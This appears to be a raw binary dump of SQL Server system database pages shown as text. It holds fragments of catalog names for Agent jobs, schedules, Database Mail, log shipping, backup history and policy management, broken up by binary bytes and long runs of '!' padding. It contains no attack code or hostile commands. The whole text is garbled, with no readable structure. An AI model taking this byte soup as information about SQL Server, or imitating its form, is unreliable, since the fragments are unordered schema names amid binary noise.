!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!k=`9c6)	LN8U6_2.description_id6_24event_entry_point6_2	6max_worker_threads6_24start_entry_point6_22stop_entry_point6_2$subsystem6_2,subsystem_dll6_2*subsystem_id6Dj3(mailitem_id6Dj3&profile_id6Dj3&recipients6Dj30copy_recipients6Dj3<blind_copy_recipients6Dj3 subject6Dj3body6Dj3(body_format6Dj3	&importance6Dj3
(sensitivity6Dj32file_attachments6Dj38attachment_encoding6Dj3
query6Dj3>execute_query_database6Dj3Hattach_query_result_as_file6Dj38query_result_header6Dj36query_result_width6Dj3>query_result_separator6Dj3:exclude_query_output6Dj36append_query_error6Dj34send_request_date6Dj34send_request_user6Dj30sent_account_id6Dj3(sent_status6Dj3$sent_date6Dj3,last_mod_date6Dj3,last_mod_user638@collection_item_id63@name6U3:server_instance_name6U3,database_name6U3.filegroup_name6U3Name6U3(volume_name6U32volume_device_id6U3"FileName6U3Growth6U3	&GrowthType6U3
0processing_time6U30powershell_path6U3$file_type6U3
 MaxSize6U3Size6U3$UsedSpace6U30available_space6U38percent_utilizationed6|6&@subsystem6R<p7*@schedule_id6R<p7@name6R<p7"@enabled6R<p7&@freq_type6R<p7.@freq_interval6R<p74@freq_subday_type6R<p7<@freq_subday_interval6R<p7@@freq_relative_interval6R<p7	@@freq_recurrence_factor6R<p7
6@active_start_date6R<p76@active_start_time6R<p72@active_end_date6R<p7
2@active_end_time6R<p7&@owner_sid6`d8.@schedule_name6`d8"@enabled6`d8&@freq_type6`d8.@freq_interval6`d84@freq_subday_type6`d8<@freq_subday_interval6`d8@@freq_relative_interval6`d8@@freq_recurrence_factor6`d8	6@active_start_date6`d8
2@active_end_date6`d86@active_start_time6`d82@active_end_time6`d8
4@owner_login_name6`d8,@schedule_uid6`d8*@schedule_id6`d88@originating_server6ĄX9 @job_id6ĄX9$@job_name6ĄX9*@schedule_id6ĄX9.@schedule_name6ĄX90@automatic_post6L: @job_id6L:$@job_name6L:*@schedule_id6L:.@schedule_name6L:@@delete_unused_schedule6L:0@automatic_post66@; @job_id66@;.@old_freq_type66@;.@new_freq_type6o4<*@schedule_id6o4<@name6o4<$@new_name6o4<"@enabled6o4<&@freq_type6o4<.@freq_interval6o4<4@freq_subday_type6o4<<@freq_subday_interval6o4<	@@freq_relative_interval6o4<
@@freq_recurrence_factor6o4<6@active_start_date6o4<2@active_end_date6o4<
6@active_start_time6o4<2@active_end_time6o4<4@owner_login_name6o4<0@automatic_post6)=*@schedule_id6)=.@schedule_name6)=,@force_delete6)=0@automatic_post69>.@database_name69>(@login_name69><@username_in_targetdb6^? @job_id6^?"@step_id6^?&@step_name6^?&@subsystem6^?"@command6^? @server6^?6@on_success_action6^?8@on_success_step_id6^?	0@on_fail_action6^?
2@on_fail_step_id6^?2@os_run_priority6^?.@database_name6^?
8@database_user_name6^?@flags6^?4@output_file_name6^?$@proxy_id6S@ @job_id6S@$@job_name6S@"@step_id6S@&@step_name6S@&@subsystem6S@"@command6S@>@additional_parameters6S@<@cmdexec_success_code6S@	6@on_success_action6S@
8@on_success_step_id6S@0@on_fail_action6S@2@on_fail_step_id6S@
 @server6S@.@database_name6S@8@database_user_name6S@0@retry_attempts6S@0@retry_interval6S@2@os_run_priority6S@4@output_file_name6S@@flags6S@$@proxy_id6S@(@proxy_name6S@$@step_uid6@"@command6@>@additional_parameters6@<@cmdexec_success_code6@.@database_name6@8@database_user_name6@@flags6Dj3(mailitem_id6Dj3&profile_id6Dj3&recipients6Dj30copy_recipients6Dj3<blind_copy_recipients6Dj3 subject6Dj3body6Dj3(body_format6Dj3	&importan(P@&tth L|,ZL	2	 		hJ(Zp	^,`:[)d
M4(>6W<originating_server_id6W$owner_sid6W(schedule_id6W*schedule_uid6W.version_number6Xjob_id6X,next_run_date6X,next_run_time6X(schedule_id6W @job_id6W$@job_name60X$@job_name60X @job_id60X(@error_flag60X*@server_name60X&@step_name60X*@output_flag6VTY$@job_name6VTY @job_id6VTY8@originating_server6VTY*@server_name%X6%X @string6%X$@maxValue6%X$@defValue6,JYB@use_default_credentials6,JY2@mailserver_type6,JY$@username6,JY$@password6enZ"@address6enZ0@parameter_name6rW&primary_id6rW8primary_server_name6rW<primary_database_name6rW8maintenance_plan_id6rW2backup_threshold6rW0threshold_alert6rW@threshold_alert_enabled6rW:last_backup_filename6rW	*last_updated6rW
Dplanned_outage_start_time6rW@planned_outage_end_time6rWHplanned_outage_weekday_mask6rW
2source_directory6@[Y&primary_id6@[Y<secondary_server_name6@[Y@secondary_database_name6@[Y:last_copied_filename6@[Y:last_loaded_filename6@[YBlast_copied_last_updated6@[YBlast_loaded_last_updated6@[Y4secondary_plan_id6@[Y	*copy_enabled6@[Y
*load_enabled6@[Y<out_of_sync_threshold6@[Y0threshold_alert6@[Y
@threshold_alert_enabled6@[YDplanned_outage_start_time6@[Y@planned_outage_end_time6@[YHplanned_outage_weekday_mask6@[Y4allow_role_change62X(@trace_path62X*@use_default65&Y*@plan_handle65&Y@@statement_start_offset65&Y<@statement_end_offset6ZZ(@sql_handle6J~[.parameter_name6J~[0parameter_value6+XPpolicy_category_subscription_id6+X(target_type6+X,target_object6+X6policy_category_id6OY*@target_type6OY.@target_object6OY2@policy_category6OYR@policy_category_subscription_id6 tZR@policy_category_subscription_id6 tZ*@target_type6 tZ.@target_object6 tZ2@policy_category6!X time_id6!XLlatest_consistent_snapshot_id6_oZ:physical_server_name6_oZ*health_state6_oZ0processing_time6c[:physical_server_name6c[:server_instance_name6c[2volume_device_id6c[*health_state6c[0processing_timeange6+]:@primary_server_name6+]>@primary_database_name6+]:@maintenance_plan_id6+]4@backup_threshold6+]2@threshold_alert6+]B@threshold_alert_enabled6+]F@planned_outage_start_time6+]B@planned_outage_end_time6+]	J@planned_outage_weekday_mask6+]
(@primary_id6^,@copy_enabled6^,@load_enabled6^>@out_of_sync_threshold6^
F@planned_outage_start_time6^B@planned_outage_end_time6^J@planned_outage_weekday_mask6^
6@allow_role_change62X(@trace_path62X*@use_default65&Y*@plan_handle65&Y@@statement_start_offset65&Y<@statement_end_offset6ZZ(@sql_handle6J~[.parameter_name6J~[0parameter_value6]*@installpath6+XPpolicy_category_subscription_id6+X(target_type6+X,target_object6+X6policy_category_id6OY*@target_type6OY.@target_object6OY2@policy_category6OYR@policy_category_subscription_id6 tZR@policy_category_subscription_id6 tZ*@target_type6 tZ.@target_object6 tZ2@policy_category6Y[R@policy_category_subscription_id6\0health_state_id6\$policy_id6\,last_run_date6\Ptarget_query_expression_with_id6\@target_query_expression6\result6!X time_id6!XLlatest_consistent_snapshot_id/[6/[,@architectureh\6h\ @family6ր]2volume_device_id6ր](volume_name6ր](capacity_mb6ր],free_space_mb6ր]:server_instance_name6ր]8virtual_server_name6ր]:physical_server_name6_oZ:physical_server_name6_oZ*health_state6_oZ0processing_time6c[:physical_server_name6c[:server_instance_name6c[2volume_device_id6c[*health_statePPB8
	p			.
Z $
\
R.XL,$f
f
.	jZ
*

`			R(

T

"Ff^@f6X2
N`T)K>6>.@category_name6>4@count_reset_date6>4@count_reset_time6>.@database_name6>B@delay_between_responses6>"@enabled6>	F@event_description_keyword6>$@event_id6>L@include_event_description_in6>
 @job_id6>$@job_name6>(@message_id6>@name6><@notification_message6>4@occurrence_count6>>@performance_condition6>
2@raise_snmp_trap6>$@severity6>.@wmi_namespace6>&@wmi_query62B@delay_between_responses62"@enabled62(@message_id62@name62$@new_name62<@notification_message62$@severity6x.PHdefault_datatype_mapping_id6x.P*dest_dbms_id6x.Pmap_id6x.P0src_datatype_id6x.P(src_dbms_id6x.P(src_len_max6x.P(src_len_min6x.P*src_nullable6x.P*src_prec_max6x.P*src_prec_min6x.P
,src_scale_max6x.P	,src_scale_min62L@include_event_description_in62	.@database_name62
F@event_description_keyword62 @job_id62$@job_name62
4@occurrence_count624@count_reset_date624@count_reset_time62<@last_occurrence_date62<@last_occurrence_time628@last_response_date628@last_response_time622@raise_snmp_trap62>@performance_condition62.@category_name62.@wmi_namespace62&@wmi_query6'2@notify_sqlagent6N$(@msx_server6N$,@jobs_deleted6H*@server_name6H2@new_server_name6l*@description6l(@result_set6$&servertype6$(is_incoming6$(is_outgoing6$4last_mod_datetime6$,last_mod_user6.task_detail_id6line16line26line36line46line56(server_name6&start_time6	"end_time6
*error_number6,error_message6 command6
$succeeded634"@plan_id634(@subplan_id634*@oldest_time6lX(@subplan_id6lX*@delete_jobs6|*@description6| @job_id6|4collection_set_id6|6collection_set_uid6|name6|target6|$is_system6|&is_running6|0collection_mode6|"proxy_id6|	*schedule_uid6|
4collection_job_id6|,upload_job_id6|,logging_level6|
<days_until_expiration6|(description6|4dump_on_any_error6|,dump_on_codes6	*p6@collection_set_id6	*p@name6BNd6@collection_set_id6BNd8@collection_set_uid6BNd:@collection_set_name6BNd$@proxy_id6BNd*@schedule_id6BNd2@collection_mode6BNd6@collection_job_id6BNd.@upload_job_id6{rX@name6{rX @target6{rX2@collection_mode6{rX>@days_until_expiration6{rX$@proxy_id6{rX(@proxy_name6{rX,@schedule_uid6{rX.@schedule_name6{rX	.@logging_level6{rX
*@description6{rX6@collection_set_id6{rX8@collection_set_uid64^6policy_category_id64^name64^Nmandate_database_subscriptions6mR,object_set_id6mR0object_set_name6mR"facet_id6mR$is_system6(instance_id6,instance_name6$type_name6*type_version6(description6(type_stream6*date_created6&created_by6	,database_name6'^&@type_name6'^*@instance_id6'^.@instance_name6'^,@type_version6'^*@description6'^*@type_stream62health_policy_id6(policy_name64rollup_object_urn66rollup_object_type6(target_type6,resource_type62utilization_type6<utilization_threshold6	2is_global_policy6/2health_policy_id6/$policy_id6/(policy_name6/6rollup_object_type6/4rollup_object_urn6/(target_type6/,resource_type6/2utilization_type6/	<utilization_threshold6/
2is_global_policy6S*@policy_name6S8@rollup_object_type6S6@rollup_object_urn6S*@target_type6S.@resource_type @job_id6Аfb>jF&\26`<b(X0v@lh,Z2
J,h@|T,L4xRv<
|

z
^
B
&

0
\(zX
~
&	
\	p	4	8X`P
"Td<
^t6^>f$`7)KzD769'@class69'@type6Г3,$dbms_name6Г3,6dest_create_params6Г3,,dest_nullable6Г3,$dest_prec6Г3,$dest_type6Г3,"sql_type69'@name6-(@class6-(@name6-($@new_name6")@class6")@name64A*@class64A*@type64A*@name64A* @suffix6me
+*@server_name6+*@server_name6'(mailitem_id6'&profile_id6'&recipients6'0copy_recipients6'<blind_copy_recipients6' subject6'*from_address6'"reply_to6'	body6'
(body_format6'&importance6'(sensitivity6'
2file_attachments6'8attachment_encoding6'query6'>execute_query_database6'Hattach_query_result_as_file6'8query_result_header6'6query_result_width6'>query_result_separator6':exclude_query_output6'6append_query_error6'4send_request_date6'4send_request_user6'0sent_account_id6'(sent_status6'$sent_date6',last_mod_date6',last_mod_user6,) plan_id6,),database_name6,(sequence_id6, plan_id6,$plan_name6,,database_name6,(server_name6,"activity6,$succeeded6,"end_time6,	"duration6,
&start_time6,*error_number6, message6Dڎ'4collection_set_id6Dڎ'6collection_item_id6Dڎ'6collector_type_uid6Dڎ'name6Dڎ' name_id6Dڎ'$frequency6Dڎ'&parameters6aS,4collection_set_id6aS,6collection_item_id6aS,6collector_type_uid6aS,name6aS,$frequency6aS,&parameters67,,@schedule_uid67,(@is_enabled67,@jobID)(b
)6b
)&@data_type62*dac_id62*:physical_server_name62*:server_instance_name62*"dac_name62*0dac_deploy_date62*0dac_description62*urn62*0powershell_path62*	0processing_time62*
&batch_time62*Tdac_percent_total_cpu_utilization6V*ID6V*8virtual_server_name6V*:physical_server_name6V*2volume_device_id6V*(volume_name6V*<total_space_available6V*&free_space6V*:total_space_utilized6V*	Ppercent_total_space_utilization6V*
0processing_time6V*&batch_time6V*0powershell_path6
{+id6
{+8virtual_server_name6
{+:physical_server_name6
{+8is_clustered_server6
{+.num_processors6
{+"cpu_name6
{+(cpu_caption6
{+&cpu_family6
{+	2cpu_architecture6
{+
8cpu_max_clock_speed6
{+0cpu_clock_speed6
{+,l2_cache_size6
{+
,l3_cache_size6
{+urn6
{+0powershell_path6
{+0processing_time6
{+&batch_time6
{+Lpercent_total_cpu_utilization6F,&batch_time6F,&AuditLevel6F,0BackupDirectory6F,<BrowserServiceAccount6F,2BrowserStartMode6F,	<BuildClrVersionString6F,
(BuildNumber6F,$Collation6F,(CollationID6F,
0ComparisonStyle6F,HComputerNamePhysicalNetBIOS6F,(DefaultFile6F,&DefaultLog6F, Edition6F,,EngineEdition6F,*ErrorLogPath6F,8FilestreamShareName6F,:InstallDataDirectory6F,>InstallSharedDirectory6F,*InstanceName6F,0IsCaseSensitive6F,(IsClustered6F,8IsFullTextInstalled6F,*IsSingleUser6F,"Language6F,(MailProfile6F,0MasterDBLogPath6F,*MasterDBPath6F, *MaxPrecision6F,!Name6F,"4NamedPipesEnabled6F,# NetName6F,$2NumberOfLogFiles6F,%$OSVersion6F,&(PerfMonMode6F,'.PhysicalMemory6F,("Platform6'0health_state_id6'*@policy_name6'B@target_query_expression68(*@object_type68(:@virtual_server_name68(4@volume_device_id68(<@server_instance_name68(.@database_name68(0@filegroup_name68(8@database_file_name68((@start_time68(	$@end_time68(
<@aggregation_interval68(Hstorage_utilization_percent68(Jstorage_utilization_in_bytes68(Dstorage_capacity_in_bytes.dDrJ(nDj>X0v:
v		,	.

			T	P,rhD vrD|rLLFtT~0N.\x>>
VH

*

Hh"
R28f`t@2V(^N0j|nT2bL
(
N

~`)nbD~#6"B,master_server6"B6originating_server6"B<originating_server_id6(C(category_id6(C*date_created6(C,date_modified6(C*delete_level6(C(description6(C enabled6(Cjob_id6(Cname6(C
Bnotify_email_operator_id6(C
6notify_level_email6(C	<notify_level_eventlog6(C:notify_level_netsend6(C4notify_level_page6(CFnotify_netsend_operator_id6(C@notify_page_operator_id6(C<originating_server_id6(C$owner_sid6(C,start_step_id6(C.version_number6ADjob_id6AD:last_outcome_message6AD,last_run_date6AD4last_run_duration6AD2last_run_outcome6AD,last_run_time6AD$server_id6eE(category_id6eE*date_created6eE,date_modified6eE*delete_level6eE(description6eE enabled6eEjob_id6eE,master_server6eEname6eE
Bnotify_email_operator_id6eE
6notify_level_email6eE	<notify_level_eventlog6eE:notify_level_netsend6eE4notify_level_page6eEFnotify_netsend_operator_id6eE@notify_page_operator_id6B @job_id6B$@job_name6B"@step_id67C @job_id67C$@job_name67C"@step_id67C&@step_name67C @suffix6p7D @job_id6p7D"@step_id6p7D$@log_text6p7D0@append_to_last6[E @job_id6[E$@job_name6[E"@step_id6[E&@step_name6wB,backup_set_id6wB0backup_set_uuid6wB*media_set_id6wB8first_family_number6wB6first_media_number6wB6last_family_number6wB4last_media_number6wB<catalog_family_number6wB	:catalog_media_number6wB
"position6wB0expiration_date6wB6software_vendor_id6wB
name6wB(description6wB$user_name6wB>software_major_version6wB>software_minor_version6wB>software_build_version6wB$time_zone6wB4mtf_minor_version6wB$first_lsn6wB"last_lsn6wB.checkpoint_lsn6wB8database_backup_lsn6wB>database_creation_date6wB4backup_start_date6wB6backup_finish_date6wBtype6wB&sort_order6wB$code_page6wB8compatibility_level6wB 2database_version6wB!(backup_size6wB",database_name6wB#(server_name6wB$*machine_name6wB%flags6wB&.unicode_locale6wB'<unicode_compare_style6wB(.collation_name6wB)<is_password_protected6wB*.recovery_model6wB+:has_bulk_logged_data6wB,(is_snapshot6wB-(is_readonly6wB..is_single_user6wB/:has_backup_checksums6wB0&is_damaged6wB12begins_log_chain6wB2@has_incomplete_metadata6wB32is_force_offline6wB4*is_copy_only6wB5Bfirst_recovery_fork_guid6wB6@last_recovery_fork_guid6wB7.fork_point_lsn6wB8,database_guid6wB9(family_guid6wB:<differential_base_lsn6wB;>differential_base_guid6wB<>compressed_backup_size6UGTE,backup_set_id6UGTEname6UGTE*filegroup_id6UGTE.filegroup_guid6UGTEtype6UGTE$type_desc6UGTE&is_default6UGTE(is_readonly6UGTE	6log_filegroup_guid66Clog_id66C$task_name66C>execution_row_count_in66C@execution_row_count_out66CFexecution_row_count_errors66C4execution_time_ms66C"log_time6+D @log_id6+DB@allow_collection_set_id6+=E6@collection_set_id6+=E$@operator6+=E @log_id6C,target_set_id6C,object_set_id6C,type_skeleton6Ctype6C enabled6:WE,target_set_id6:WE,object_set_id6:WE,type_skeleton6:WEtype6:WE enabled!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!~8Xj@(B


f
zxP*Nlr@	
	6

*		h	D	$	.nZ.
Hh&|P&>j	
n4


0<~N
Nd6B6hdxnh
Br:~ZP
`2)M:!{6@"@step_id6@&@step_name6@&@subsystem6@$@step_uid6A @job_id6A$@job_name6A"@step_id6A&@step_name6A&@subsystem6A"@command6A>@additional_parameters6A<@cmdexec_success_code6A	6@on_success_action6A
8@on_success_step_id6A0@on_fail_action6A2@on_fail_step_id6A
 @server6A.@database_name6A8@database_user_name6A0@retry_attempts6A0@retry_interval6A2@os_run_priority6A4@output_file_name6A@flags6A$@proxy_id6A(@proxy_name6Alog_id6A&event_type6A"log_date6A(description6A&process_id6A(mailitem_id6A&account_id6A,last_mod_date6A	,last_mod_user6A2target_filter_id6A$policy_id6Atype6Afilter6A,type_skeleton6V
B$@inserted6V
Bfilter6A:server_instance_name6A,database_name6A fg_name6A8over_utilized_count6A:under_utilized_count6A$file_type6A&set_number6A0processing_time!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!